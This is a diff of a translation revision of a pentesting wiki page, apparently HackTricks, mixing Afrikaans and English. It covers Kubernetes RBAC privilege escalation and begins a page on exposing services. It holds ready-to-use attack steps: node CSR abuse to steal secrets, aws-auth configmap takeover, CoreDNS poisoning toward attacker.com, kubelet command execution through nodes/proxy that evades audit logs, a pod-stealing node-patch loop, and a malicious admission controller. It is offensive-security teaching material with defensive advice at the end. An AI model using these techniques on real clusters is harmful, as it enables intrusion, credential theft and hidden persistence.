-Dit is moontlik om duidelike teks-sleutels te vind om data at rest te enkripteer in hierdie tipe objek, soos:
+Dit is moontlik om clear text keys te vind om data at rest in hierdie tipe object te enkripteer soos:
 ```yaml
 # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
 
@@ -450,13 +452,13 @@ keys:
 - name: key3
 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
 ```
-### Sertifikaatondertekeningsversoeke
+### Certificate Signing Requests
 
-As jy die werkwoord `create` in die resource `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het, kan jy 'n **nuwe node** CeSR **skep**.
+As jy die verbs **`create`** in die resource `certificatesigningrequests` het ( of ten minste in `certificatesigningrequests/nodeClient`). Jy kan **create** `n nuwe CeSR van `n **nuwe node**.
 
-According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), dus in daardie geval het jy **nie ekstra toestemmings nodig nie**. Indien nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken update in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`
+Volgens die [documentation is dit moontlik om hierdie requests outomaties goed te keur](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in daardie geval het jy **geen ekstra permissions nodig nie**. Indien nie, sal jy die request moet kan approve, wat beteken `update` in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`
 
-'n **voorbeeld van 'n rol** met al die vereiste toestemmings is:
+`n **voorbeeld van `n role** met al die vereiste permissions is:
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -487,19 +489,19 @@ resourceNames:
 verbs:
 - approve
 ```
-Dus, met die nuwe node CSR goedgekeur, kan jy die spesiale permissies van nodes **abuse** om **steal secrets** en **escalate privileges**.
+Dus, met die nuwe node CSR goedgekeur, kan jy die spesiale permissions van nodes **abuse** om secrets te **steal** en privileges te **escalate**.
 
-In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap-konfigurasie opgestel met **automatic signing** en dit word **abused** om credentials van 'n nuwe K8s Node te genereer en daardie credentials dan te **abuse** om **escalate privileges** deur **stealing secrets**.\
-As jy **die genoemde privileges het, kan jy dieselfde doen**. Let wel dat die eerste voorbeeld die fout omseil wat 'n nuwe node verhinder om toegang tot secrets binne containers te kry, omdat 'n **node can only access the secrets of containers mounted on it.**
+In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap configuration ingestel met **automatic signing** en dit word abused om credentials van ’n nuwe K8s Node te genereer en dan dié te abuse om privileges te escalate deur secrets te steel.\
+As jy die genoemde privileges **het, kon jy dieselfde ding doen**. Let daarop dat die eerste example die error omseil wat verhoed dat ’n nuwe node secrets binne containers kan access, omdat ’n **node slegs toegang kan hê tot die secrets van containers wat daarop gemount is.**
 
-Die manier om dit te omseil, is eenvoudig net om **create a node credentials for the node name where the container with the interesting secrets is mounted** (maar kyk net hoe om dit te doen in die eerste post):
+Die manier om dit te bypass is net om **node credentials te create vir die node name waar die container met die interessante secrets gemount is** (maar kyk net in die first post hoe om dit te doen):
 ```bash
 "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
 ```
 ### AWS EKS aws-auth configmaps
 
-Begunstigdes wat **`configmaps`** in die kube-system namespace op EKS (moet in AWS wees) clusters kan wysig, kan cluster admin privileges verkry deur die **aws-auth** configmap te oorskryf.\
-Die verbs wat benodig word is **`update`** en **`patch`**, of **`create`** as die configmap nie geskep is nie:
+Principals wat **`configmaps`** in die kube-system namespace op EKS (moet in AWS wees) clusters kan wysig, kan cluster admin-privilegies verkry deur die **aws-auth** configmap te oorskryf.\
+Die nodige verbs is **`update`** en **`patch`**, of **`create`** as die configmap nie geskep is nie:
 ```bash
 # Check if config map exists
 get configmap aws-auth -n kube-system -o yaml
@@ -539,18 +541,18 @@ groups:
 - system:masters
 ```
 > [!WARNING]
-> Jy kan **`aws-auth`** gebruik vir **persistence** om toegang te gee aan gebruikers van **ander rekeninge**.
+> Jy kan **`aws-auth`** vir **persistence** gebruik om toegang te gee aan gebruikers van **ander accounts**.
 >
-> Egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die cluster in plaas van net die naam invul.\
-> Om `kubectl` te laat werk, maak net seker om die **slagoffer se kubeconfig** te **konfigureer** en voeg in die aws exec-args `--profile other_account_role` by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.
+> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf ’n ander account nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die cluster plaas in plaas van net die naam.\
+> Om `kubectl` te laat werk, maak net seker dat jy die **victims kubeconfig** **configure** en in die aws exec args voeg `--profile other_account_role` by sodat kubectl die ander account se profile sal gebruik om die token te kry en AWS te kontak.
 
 ### CoreDNS config map
 
-As jy die toestemmings het om die **`coredns` configmap** in die `kube-system` namespace te wysig, kan jy die adresse waarna domeine opgelos word wysig om MitM-aanvalle uit te voer en sodoende **gevoelige inligting te steel of kwaadwillige inhoud in te voeg**.
+As jy die permissions het om die **`coredns` configmap** in die `kube-system` namespace te modify, kan jy die address waarop domains resolved gaan word aanpas om MitM attacks te kan uitvoer om **sensitive information te steal of malicious content in te inject**.
 
-Die verbs wat benodig word is **`update`** en **`patch`** op die **`coredns`** configmap (of al die config maps).
+Die verbs wat nodig is, is **`update`** en **`patch`** oor die **`coredns`** configmap (of al die config maps).
 
-'n gewone **coredns file** bevat iets soos dit:
+’n Gewone **coredns file** bevat iets soos hierdie:
 ```yaml
 data:
 Corefile: |
@@ -580,61 +582,61 @@ reload
 loadbalance
 }
 ```
-’n Aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` uit te voer, dit wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` geraak word, eintlik `attacker.com` die domein is wat bereik sal word. En dan toepas deur `kubectl apply -f poison_dns.yaml` uit te voer.
+’n Aanvaller kon dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` te run, dit te wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` geraadpleeg word, eintlik `attacker.com` die domain is wat geraadpleeg gaan word. En dit dan toe te pas deur `kubectl apply -f poison_dns.yaml` te run.
 
-’n Ander opsie is om net die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` uit te voer en die veranderinge te maak.
+Nog ’n opsie is om eenvoudig die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` te run en veranderinge te maak.
 
-### Eskalering in GKE
+### Eskaleer in GKE
 
-Daar is **2 maniere om K8s-permissies aan GCP principals toe te ken**. In elk geval het die principal ook die permissie **`container.clusters.get`** nodig om credentials te versamel om by die cluster uit te kom, anders sal jy jou eie **kubectl config file** moet genereer (volg die volgende skakel).
+Daar is **2 maniere om K8s permissions toe te ken aan GCP principals**. In enige geval het die principal ook die permission **`container.clusters.get`** nodig om credentials te kan insamel om toegang tot die cluster te kry, of jy sal **jou eie kubectl config file moet genereer** (volg die volgende link).
 
 > [!WARNING]
-> Wanneer daar met die K8s API-endpoint gepraat word, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s API-endpoint, eers **kontroleer of die principal** (per email) **enige toegang binne die cluster het**, en daarna sal dit kyk of dit **enige toegang via GCP IAM** het.\
-> As **enige** van daardie waar is, sal daar **geantwoord** word. Indien **nie**, sal ’n **fout** teruggegee word wat voorstel om **permissies via GCP IAM** te gee.
+> Wanneer jy met die K8s api endpoint praat, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s api endpoint, eers **kontroleer of die principal** (per email) **enige access binne die cluster** het, dan sal dit kyk of dit **enige access via GCP IAM** het.\
+> As **enige** van daardie **waar** is, sal hy **beantwoord** word. Indien **nie**, sal ’n **error** wat voorstel om **permissions via GCP IAM** te gee, teruggegee word.
 
-Dan is die eerste metode om **GCP IAM** te gebruik; die K8s-permissies het hul **gelykwaardige GCP IAM-permissies**, en as die principal dit het, sal hy dit kan gebruik.
+Dan is die eerste metode om **GCP IAM** te gebruik; die K8s permissions het hul **ekwivalente GCP IAM permissions**, en as die principal dit het, sal dit dit kan gebruik.
 
 {{#ref}}
 ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
 {{#endref}}
 
-Die tweede metode is om **K8s-permissies binne die cluster toe te ken** deur die gebruiker te identifiseer met sy **email** (GCP service accounts ingesluit).
+Die tweede metode is om **K8s permissions binne die cluster toe te ken** aan die gebruiker wat deur sy **email** geïdentifiseer word (GCP service accounts ingesluit).
 
 ### Skep serviceaccounts token
 
-Principals wat TokenRequests kan **create** (`serviceaccounts/token`) wanneer hulle met die K8s API-endpoint kommunikeer — SAs (info van [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
+Principals wat **TokenRequests** kan skep (`serviceaccounts/token`) wanneer hulle met die K8s api endpoint praat, SAs (info van [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
 
 ### ephemeralcontainers
 
-Principals wat **`update`** of **`patch`** op **`pods/ephemeralcontainers`** kan doen, kan **kode-uitvoering op ander pods** verkry, en potensieel na hul node **uitbreek** deur ’n ephemeral container met ’n privileged securityContext by te voeg.
+Principals wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan doen, kan **code execution op ander pods** kry, en moontlik **uitbreek** na hul node deur ’n ephemeral container met ’n privileged securityContext by te voeg
 
 ### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
 
-Principals met enige van die verbs `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **so ’n webhookconfiguration te skep** om sodoende privileges te **eskaleer**.
+Principals met enige van die verbs `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` kan moontlik **een van sulke webhookconfigurations skep** om **privileges te eskaleer**.
 
-Vir ’n [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
+Vir ’n [`mutatingwebhookconfigurations` voorbeeld, kyk hierdie afdeling van hierdie post](#malicious-admission-controller).
 
 ### Eskaleer
 
-Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kan ’n principal nie rolle of clusterroles opdateer of skep nie sonder om self daardie nuwe permissies te hê. Behalwe as hy die **verb `escalate` or `*`** oor **`roles`** of **`clusterroles`** en die toepaslike binding-opsies het.\
-Dan kan hy nuwe roles/clusterroles opdateer/skep met beter permissies as wat hy tans het.
+Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kan ’n principal nie roles of clusterroles update of create sonder om self daardie nuwe permissions te hê nie. Behalwe as hy die **verb `escalate` of `*`** oor **`roles`** of **`clusterroles`** en die ooreenstemmende binding opsies het.\
+Dan kan hy nuwe roles en clusterroles update/create met beter permissions as dié wat hy het.
 
 ### Nodes proxy
 
-Principals met toegang tot die **`nodes/proxy`** subresource kan via die Kubelet API **kode op pods uitvoer** (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentication op hierdie bladsy:
+Principals met access tot die **`nodes/proxy`** subresource kan **code op pods execute** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet authentication op hierdie bladsy:
 
 {{#ref}}
 ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
 {{#endref}}
 
-#### nodes/proxy GET -> Kubelet /exec via WebSocket werkwoord-verwarring
+#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
 
-- Kubelet karteer HTTP-metodes na RBAC-verbs **voor** die protokolopgradering. WebSocket-handskake moet met **HTTP GET** (`Connection: Upgrade`) begin, dus word `/exec` oor WebSocket gekontroleer as **verb `get`** in plaas van die verwagte `create`.
-- `/exec`, `/run`, `/attach`, en `/portforward` is nie eksplisiet gekarteer nie en val onder die standaard **`proxy`** subresource, so die magtigingsvraag word **`can <user> get nodes/proxy?`**
-- As ’n token slegs **`nodes/proxy` + `get`** het, laat direkte WebSocket-toegang na die kubelet op `https://<node_ip>:10250` toe om arbitrêre opdragte in enige pod op daardie node uit te voer. Dieselfde versoek via die API-server se proxy-pad (`/api/v1/nodes/<node>/proxy/exec/...`) word geweier omdat dit ’n normale HTTP POST is en na `create` gekarteer word.
-- Die kubelet doen geen tweede magtiging na die WebSocket-opgradering nie; slegs die aanvanklike GET word geëvalueer.
+- Kubelet map HTTP methods na RBAC verbs **voor** protocol upgrade. WebSocket handshakes moet met **HTTP GET** (`Connection: Upgrade`) begin, so `/exec` oor WebSocket word as **verb `get`** nagegaan in plaas van die verwagte `create`.
+- `/exec`, `/run`, `/attach`, en `/portforward` word nie eksplisiet gemap nie en val in die default **`proxy`** subresource, so die authorization-vraag word **`can <user> get nodes/proxy?`**
+- As ’n token slegs **`nodes/proxy` + `get`** het, laat direkte WebSocket access na die kubelet op `https://<node_ip>:10250` arbitrêre command execution in enige pod op daardie node toe. Dieselfde request via die API server proxy pad (`/api/v1/nodes/<node>/proxy/exec/...`) word geweier omdat dit ’n gewone HTTP POST is en na `create` map.
+- Die kubelet doen geen tweede authorization ná die WebSocket upgrade nie; slegs die aanvanklike GET word geëvalueer.
 
-**Direkte uitbuiting (vereis netwerktoeganklikheid na die kubelet en ’n token met `nodes/proxy` GET):**
+**Direct exploit (vereis network reachability na die kubelet en ’n token met `nodes/proxy` GET):**
 ```bash
 kubectl auth can-i --list | grep "nodes/proxy"
 websocat --insecure \
@@ -642,13 +644,13 @@ websocat --insecure \
 --protocol "v4.channel.k8s.io" \
 "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
 ```
-- Gebruik die **Node IP**, nie die node name nie. Dieselfde versoek met `curl -X POST` sal **Forbidden** wees omdat dit na `create` map.
-- Direkte kubelet access omseil die API server, so AuditPolicy wys slegs `subjectaccessreviews` van die kubelet user agent en **registreer nie `pods/exec`** opdragte nie.
-- Emergeer geaffekteerde service accounts met die [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) om tokens te vind wat beperk is tot `nodes/proxy` GET.
+- Gebruik die **Node IP**, nie die node name nie. Dieselfde request met `curl -X POST` sal **Forbidden** wees omdat dit na `create` map.
+- Direkte kubelet access omseil die API server, so AuditPolicy wys slegs `subjectaccessreviews` vanaf die kubelet user agent en **log nie `pods/exec`** commands nie.
+- Enumereer geaffekteerde service accounts met die [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) om tokens te vind wat beperk is tot `nodes/proxy` GET.
 
-### Verwyder pods + onskeduleerbare nodes
+### Delete pods + unschedulable nodes
 
-Entiteite wat kan **delete pods** (`delete` verb over `pods` resource), of **evict pods** (`create` verb over `pods/eviction` resource), of **change pod status** (toegang tot `pods/status`) en wat ander nodes kan **onskeduleerbaar maak** (toegang tot `nodes/status`) of **delete nodes** (`delete` verb over `nodes` resource) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle in die **gekompromiseerde** **node** uitgevoer word en die aanvaller die tokens van daardie pods kan **steel**.
+Principals wat **delete pods** kan doen (`delete` verb over `pods` resource), of **evict pods** kan doen (`create` verb over `pods/eviction` resource), of **change pod status** kan doen (access to `pods/status`) en **ander nodes unschedulable kan maak** (access to `nodes/status`) of **delete nodes** kan doen (`delete` verb over `nodes` resource) en beheer oor ’n pod het, kon **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** **uitgevoer** word en die attacker kan **die tokens steel** uit daardie pods.
 ```bash
 patch_node_capacity(){
 curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -659,43 +661,43 @@ while true; do patch_node_capacity <id_other_node>; done &
 
 kubectl delete pods -n kube-system <privileged_pod_name>
 ```
-### Status van services (CVE-2020-8554)
+### Services status (CVE-2020-8554)
 
-Prinsipale wat die vermoë het om **wysig** **`services/status`** kan die veld `status.loadBalancer.ingress.ip` stel om die **onopgeloste CVE-2020-8554** uit te buit en **MiTM-aanvalle teen die kluster** te loods. Die meeste mitigasies vir CVE-2020-8554 voorkom slegs ExternalIP services (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
+Principals wat **modify** **`services/status`** kan die `status.loadBalancer.ingress.ip`-veld stel om die **unfixed CVE-2020-8554** te misbruik en **MiTM attacks against the cluster** te loods. Die meeste mitigations vir CVE-2020-8554 voorkom net ExternalIP services (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
 
-### Nodes- en Pods-status
+### Nodes and Pods status
 
-Prinsipale met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status` kan etikette verander om afgedwingde skeduleringsbeperkings te beïnvloed.
+Principals met **`update`** of **`patch`** permissions oor `nodes/status` of `pods/status`, kan labels wysig om afgedwonge scheduling constraints te beïnvloed.
 
-## Ingeboude voorkoming van privileegeskalasie
+## Built-in Privileged Escalation Prevention
 
-Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privileeg-eskalasie te voorkom.
+Kubernetes het 'n [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privilege escalation te voorkom.
 
-Hierdie stelsel verseker dat **gebruikers hul regte nie kan verhoog deur roles of role bindings te wysig nie**. Die afdwinging van hierdie reël gebeur op API-vlak, wat 'n beskerming bied selfs wanneer die RBAC-authorizer nie aktief is nie.
+Hierdie stelsel verseker dat **users cannot elevate their privileges by modifying roles or role bindings**. Die afdwinging van hierdie reël gebeur op API-level, wat 'n safeguard bied selfs wanneer die RBAC authorizer inaktief is.
 
-Die reël bepaal dat 'n **gebruiker slegs 'n role kan skep of opdateer as hulle al die toestemmings wat die role bevat besit**. Verder moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met daardie van die role wat hulle probeer skep of wysig: of cluster-wyd vir ClusterRoles of beperk tot dieselfde namespace (of cluster-wyd) vir Roles.
+Die reël bepaal dat 'n **user can only create or update a role if they possess all the permissions the role comprises**. Verder moet die omvang van die user se bestaande permissions ooreenstem met dié van die role wat hy probeer create of modify: óf cluster-wide vir ClusterRoles óf beperk tot dieselfde namespace (of cluster-wide) vir Roles.
 
 > [!WARNING]
-> Daar is 'n uitsondering op die vorige reël. As 'n prinsipaal die **verb `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die bevoegdhede van roles en clusterroles verhoog selfs sonder om die toestemmings self te hê.
+> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
 
 ### **Get & Patch RoleBindings/ClusterRoleBindings**
 
 > [!CAUTION]
-> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/wysig om jouself of 'n ander SA sekere bevoegdhede te gee as jy dit nie reeds het nie.**
+> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
 
-Die bevoegdheid om Rolebindings te skep stel 'n gebruiker in staat om **roles aan 'n service account te bind**. Hierdie bevoegdheid kan moontlik tot privileegeskalasie lei omdat dit **die gebruiker in staat stel om admin-bevoegdhede aan 'n gekompromitteerde service account te bind.**
+Die privilege om Rolebindings te create laat 'n user toe om **roles to a service account** te bind. Hierdie privilege kan moontlik tot privilege escalation lei omdat dit die user toelaat om admin privileges aan 'n compromised service account te bind.
 
-## Ander aanvalle
+## Other Attacks
 
 ### Sidecar proxy app
 
-Standaard is daar geen enkripsie in die kommunikasie tussen pods nie. Wederkerige autentisering, twee-rigting, pod-na-pod.
+By default is daar geen encryption in die communication tussen pods nie .Mutual authentication, two-way, pod to pod.
 
-#### Skep 'n sidecar proxy-app
+#### Create a sidecar proxy app
 
-'n Sidecar-container bestaan eenvoudig uit die toevoeging van 'n **tweede (of meer) container binne 'n pod**.
+A sidecar container bestaan net uit die byvoeging van 'n **second (or more) container inside a pod**.
 
-Byvoorbeeld, die volgende is deel van die konfigurasie van 'n pod met 2 containers:
+Byvoorbeeld, die volgende is deel van die configuration van 'n pod met 2 containers:
 ```yaml
 spec:
 containers:
@@ -705,17 +707,17 @@ image: nginx
 image: busybox
 command: ["sh","-c","<execute something in the same pod but different container>"]
 ```
-Byvoorbeeld, om 'n bestaande pod met 'n nuwe container te backdoor, kan jy net 'n nuwe container by die spesifikasie voeg. Neem kennis dat jy die tweede container **meer permissies kan gee** wat die eerste nie sal hê nie.
+Byvoorbeeld, om ’n bestaande pod met ’n nuwe container te backdoor, kan jy eenvoudig ’n nuwe container in die specification byvoeg. Let daarop dat jy **meer permissions** aan die tweede container kan gee as wat die eerste een sal hê.
 
-More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
+Meer inligting by: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
 
-### Kwaadwillige Admission Controller
+### Malicious Admission Controller
 
-'n admission controller **kap versoeke na die Kubernetes API server af** voor die objek gestoor word, maar **nadat die versoek geauthentiseer is** **en geautoriseer is**.
+’n admission controller **onderskep requests na die Kubernetes API server** voor die persistence van die object, maar **ná die request geauthenticated is** **en authorized**.
 
-As 'n aanvaller op een of ander manier daarin slaag om **om 'n Mutation Admission Controller in te spuit**, sal hy in staat wees om **reeds geauthentiseerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en dit bly gewoonlik voort in die cluster.
+As ’n attacker op een of ander manier daarin slaag om ’n Mutation Admission Controller te **inject**, sal hy in staat wees om **reeds authenticated requests te modify**. Dit kan moontlik vir privesc gebruik word, en meer algemeen om in die cluster te persist.
 
-**Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
+**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
 ```bash
 git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
 cd malicious-admission-controller-webhook-demo
@@ -729,23 +731,23 @@ kubectl get deploy,svc -n webhook-demo
 ```
 ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
 
-Dan ontplooi 'n nuwe pod:
+Stel dan ’n nuwe pod in:
 ```bash
 kubectl run nginx --image nginx
 kubectl get po -w
 ```
-Wanneer jy die `ErrImagePull`-fout sien, kontroleer die image-naam met een van die navrae:
+Wanneer jy die `ErrImagePull`-fout kan sien, gaan die image-naam na met een van die volgende queries:
 ```bash
 kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
 kubectl describe po nginx | grep "Image: "
 ```
 ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
 
-Soos jy in die prent hierbo kan sien, het ons probeer om die image `nginx` te laat loop, maar die finale uitgevoerde image is `rewanthtammana/malicious-image`. Wat het nou gebeur!!?
+Soos jy in die bostaande beeld kan sien, het ons probeer om image `nginx` te laat loop, maar die finale uitgevoerde image is `rewanthtammana/malicious-image`. Wat het nou gebeur!!?
 
 #### Tegniese besonderhede
 
-Die `./deploy.sh` skrip stel 'n mutating webhook admission controller op, wat versoeke na die Kubernetes API wysig soos in sy konfigurasielyne gespesifiseer, en sodoende die waargenome uitkomste beïnvloed:
+Die `./deploy.sh` script stel ’n mutating webhook admission controller op, wat versoeke na die Kubernetes API wysig soos gespesifiseer in sy konfigurasie-lyne, en die uitkomste wat waargeneem word, beïnvloed:
 ```
 patches = append(patches, patchOperation{
 Op:    "replace",
@@ -753,7 +755,7 @@ Path:  "/spec/containers/0/image",
 Value: "rewanthtammana/malicious-image",
 })
 ```
-Die bostaande fragment vervang die eerste container image in elke pod met `rewanthtammana/malicious-image`.
+Die bogenoemde snippet vervang die eerste container image in elke pod met `rewanthtammana/malicious-image`.
 
 ## OPA Gatekeeper bypass
 
@@ -761,22 +763,22 @@ Die bostaande fragment vervang die eerste container image in elke pod met `rewan
 ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
 {{#endref}}
 
-## Beste praktyke
+## Best Practices
 
-### **Uitskakeling van die automatiese montering van Service Account-tokens**
+### **Disabling Automount of Service Account Tokens**
 
-- **Pods and Service Accounts**: Standaard mount pods 'n service account token. Om sekuriteit te verbeter, laat Kubernetes toe om hierdie automount-funksie te deaktiveer.
-- **How to Apply**: Stel `automountServiceAccountToken: false` in die konfigurasie van service accounts of pods vanaf Kubernetes weergawe 1.6.
+- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
+- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
 
-### **Restriktiewe gebruikerstoekenning in RoleBindings/ClusterRoleBindings**
+### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
 
-- **Selective Inclusion**: Verseker dat slegs nodige gebruikers in RoleBindings of ClusterRoleBindings ingesluit is. Oudits gereeld en verwyder irrelevante gebruikers om noue sekuriteit te handhaaf.
+- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
 
-### **Namespace-spesifieke Roles bo Cluster-wye Roles**
+### **Namespace-Specific Roles Over Cluster-Wide Roles**
 
-- **Roles vs. ClusterRoles**: Voorkeur vir die gebruik van Roles en RoleBindings vir namespace-spesifieke permisies eerder as ClusterRoles en ClusterRoleBindings, wat cluster-wyd toegepas word. Hierdie benadering bied fynere beheer en beperk die omvang van permisies.
+- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
 
-### **Gebruik geoutomatiseerde gereedskap**
+### **Use automated tools**
 
 {{#ref}}
 https://github.com/cyberark/KubiScan
@@ -790,7 +792,7 @@ https://github.com/aquasecurity/kube-hunter
 https://github.com/aquasecurity/kube-bench
 {{#endref}}
 
-## **Verwysings**
+## **References**
 
 - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
 - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)

src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md

@@ -2,11 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Daar is **verskillende maniere om dienste** in Kubernetes bloot te stel sodat beide **interne** eindpunte en **eksterne** eindpunte toegang kan hê. Hierdie Kubernetes-konfigurasie is redelik krities aangesien die administrateur toegang kan gee aan **aanvallers tot dienste waartoe hulle nie toegang behoort te hê nie**.
+Daar is **verskillende maniere om services bloot te stel** in Kubernetes sodat beide **interne** endpoints en **eksterne** endpoints toegang daartoe kan kry. Hierdie Kubernetes-konfigurasie is redelik krities, aangesien die administrateur **attackers toegang kan gee tot services waartoe hulle nie toegang behoort te hê nie**.
 
 ### Automatic Enumeration
 
-Voordat jy begin om die maniere te lys wat K8s bied om dienste aan die publiek bloot te stel, weet dat as jy namespaces, dienste en ingresses kan lys, jy alles wat aan die publiek blootgestel is, kan vind met:
+Voordat jy begin om die maniere te enumerate wat K8s bied om services aan die publiek bloot te stel, weet dat as jy namespaces, services en ingresses kan lys, kan jy alles vind wat aan die publiek blootgestel is met:
 ```bash
 kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
 echo "Namespace: $ns"
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
 ```
 ### ClusterIP
 
-'n **ClusterIP** diens is die **verstek** Kubernetes **diens**. Dit bied 'n **diens binne** jou kluster wat ander toepassings binne jou kluster kan toegang. Daar is **geen eksterne toegang** nie.
+’n **ClusterIP**-service is die **standaard** Kubernetes **service**. Dit gee jou ’n **service binne** jou cluster wat ander apps binne jou cluster kan toegang verkry. Daar is **geen eksterne toegang**.
 
-Dit kan egter toeganklik gemaak word met die Kubernetes Proxy:
+Dit kan egter verkry word met die Kubernetes Proxy:
 ```bash
 kubectl proxy --port=8080
 ```
